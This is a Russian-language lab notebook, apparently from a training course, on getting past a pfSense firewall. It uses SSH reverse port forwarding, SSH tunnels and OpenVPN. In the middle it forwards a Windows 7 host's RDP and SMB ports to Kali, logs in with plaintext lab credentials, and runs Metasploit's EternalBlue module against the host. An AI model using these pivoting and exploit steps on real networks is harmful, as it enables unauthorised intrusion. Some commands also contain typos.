###### tags: `Bypass`
# SSH port forwarding, OpenVPN L3

Топология сети
1. Запускаем FW(pfSense 2.4.4)
2. Настраиваем Linux-ext (для получения адреса по dhcp)

>service networking restart #перезапускаем сеть
>service ssh status #проверяем что включен ssh

>
>Проверяем что разрешен вход root по ssh (PermitRootLogin yes)
Win7 ifconfig:

Linux-ext ip a:

Подключаемся по ssh на Linux-ext с Win7 по putty:

***Задача: Прокинуть изнутри (с Win7) порт наружу на Linux-Ext, чтобы с linux-Ext подключиться по прокинутому порту на Win7***
Прокинем порт 3389 Win7 на порт 3390 Linux-Ext.
*То есть, мы делаем так, что с порта 3390 Linux-Ext мы смогли подключаться на порт 3389 Win7.*
При подключении на порт 3390 Linux-Ext c 3389 Win7 обратное подключение будет возможно на с Linux-Ext на Win7.
Проверим какие порты слушаются на Linux-Ext командой **ss -tunlp**:

На Win7 --> Putty ==> SSH ---> tunnels:

*source port 3390* - **указываем с какого порта будем потом заходить на Win7**
*destination* - localhost:3389 - **указываем куда даем доступ и по какому порту, т.е. к себе на локалхост, на рдп-порт 3389.**
указываем - remote
auto
нажимаем add
На Linux-Ext вводим ss -tunlp:

Видим, появилось новое прослушиваемое соединение на локальном адресе 127.0.0.1 на порту 3390
Настраиваем Kali-Linux:
Настраиваем аналогичным образом доступ по ssh для root.
>systemctl enable ssh #включаем автозагрузку ssh
Аналогичным образом прокидываем порт 3389 с Win7 на порт 3390 только уже на KALI:
До:


После:

Также добавилось прослушиваемое подключение порта 3390 на локалхосте.
А теперь попробуем подключиться на KALI к "себе" на прокинутый 127.0.0.1:3390 через утилиту xfreerdp:
>**xfreerdp /u:admin /p:eve@123 /v:127.0.0.1:3390** - указываем учетные данные админа машины Win7
Как мы видим, мы успешно зашли по RDP на Win7!

3. Теперь делаем проброс порта с Win10 на Win7.
Подключаемся по ssh с win10 на win7 и пробрасываем порты:
запускаем cmd:
***ssh -R 3390:192.168.1.102:3389 root@192.168.4.171***, где:
**ssh -R 3390:192.168.1.102:3389** - по ssh указываем что прокидываем порт 3390 на машину Win7(192.168.1.102:3389) и даем RDP по 3389, а
**root@192.168.4.171** - прокидываем вот сюда на KALI порт 3390.

Таким образом, мы с Win10 прокинули порт 3390 localhost на машине KALI, теперь если мы на KAli подлючимся по xfreerdp на localhost:3390, мы попадем на Win7.

Можем сломать Win7, эксплуатируя уязвимость EternalBlue (smb).
Для этого прокидываем порт 445: ssh -R 445:192.168.1.102:445 root@192.168.4.171
msf5 > search eternalblue
use 3
set lhost 192.168.4.171 - откуда
set rhost 127.0.0.1 - куда, так как прокинули себе 445 порт
run
Взлом получился:

3. Настраиваем туннель.
**Задача: подключиться к KALi с Linux-SRV через туннель.**
KALI: nano /etc/ssh/sshd_config
меняем PermitTunnel c no на yes
>service ssh restart
Linux-SRV:

Настраиваем DHCP, перезапускаем службу
Подлючаемся по ssh на KALI с созданием туннеля:

На KALI:

alt+F2 - переключаемся на новое окно Linux-SRV:
>ip addr add 10.10.10.1/24 dev tun5 - присваиваем туннелю 5 статический адрес
> ip link set dev tun5 up # поднимаем интерфейс
То же самое делаем, но на KALI:
>ip addr add 10.10.10.2/24 dev tun5 - присваиваем туннелю 5 статический адрес
> ip link set dev tun5 up # поднимаем интерфейс
>Добавляем доступ с KALi на другие машины, добавив статическую маршрутизацию до подсетки за файерволлом:
KALI: ip route add 192.168.1.0/24 via 10.10.10.1(это адрес туннеля на Linux-SRV)
С кали не пингуется шлюз pFsense(192.168.1.1), что делаем чтобы пинговался:
на Linux-SRV включаем форвардинг ipv4 пакетов: nano /etc/sysctl.conf
net.ipv4.ip_forward=1
>syctl -p #применяем настройки
Теперь пакеты до Linux-SRV долетают, но что дальше делать с ними наш роутер не знает. Надо настроить NAT через iptables Linux-SRV, чтобы все что выходит с интерфейса ens3 преобразовывалось (натилось):
>iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE
пинг есть:

OPENVPN L3
На Linux-Ext разворачиваем OpenVPN Server:
переименуем машины на Linux-Ext, также Linux-SRV : nano /etc/hosts
nano /etc/hostname
ПРобрасываем порт 2222 для коннекта с linux ext на linux srv:

Установка OpenVPN на Linux-Ext:
Linux-ext:
>apt update -y && apt install curl -y #обновляем пакеты и устанавливаем curl
curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
chmod +x openvpn-install.sh
./openvpn-install.sh

```
далее просто enter ничего не меняя
добавляем client1
еще раз запускаем скрипт, добавляем client2
```
>2 клиента нужны для KALI и Linux-SRV.
>Linux-ext: nano /etc/openvpn/server.conf #настройка openvpn сервера
Приводим к виду:

>service openvpn restart
>cd /root/ #сюда сложены клиенты 1,2
>ls -lh - посмотреть содержимое каталога
>nano client1.ovpn:
приводим к виду:

тоже самое и для client2.ovpn
копируем с Linux-Ext файл клиента на Linux-SRV в текущую директорию:
Linux-SRV:scp root@192.168.4.167:/root/client1.ovpn ./
Ставим openvpn на Linux-SRV:
>nano /etc/resolv.conf --> nameserver 8.8.8.8
apt update -y && apt install openvpn -y
KALI: scp root@192.168.4.167:/root/client2.ovpn ./
>Linux-SRV: openvpn client1.ovpn #запускаем

Тоже самое на KALI

Linux-Ext: nano /etc/openvpn/server.conf
добавляем в конец client-to-client

> service openvpn restart
> перезапускаем клиентов на кали и сервер
KAli: можем по ssh подключиться по openvpn на Linux-SRV

Гоним трафик с 192.168.1.0/24 via 10.0.8.2
Linux-SRV: apt install tcpdump -y
Пинга до внутренней подсетки нет:

Решение:
> **Можно делать как на сервере, так и на клиенте, в данном случае сделали на сервере:**
Linux-Ext:
>cd /etc/openvpn/ccd
>nano client1
>
Но 192.168.1.1 не пингуется (pfSense)
тогда :
> Linux-SRV: iptables -t nat -A POSTROUTING -0 ens3 MASQUARADE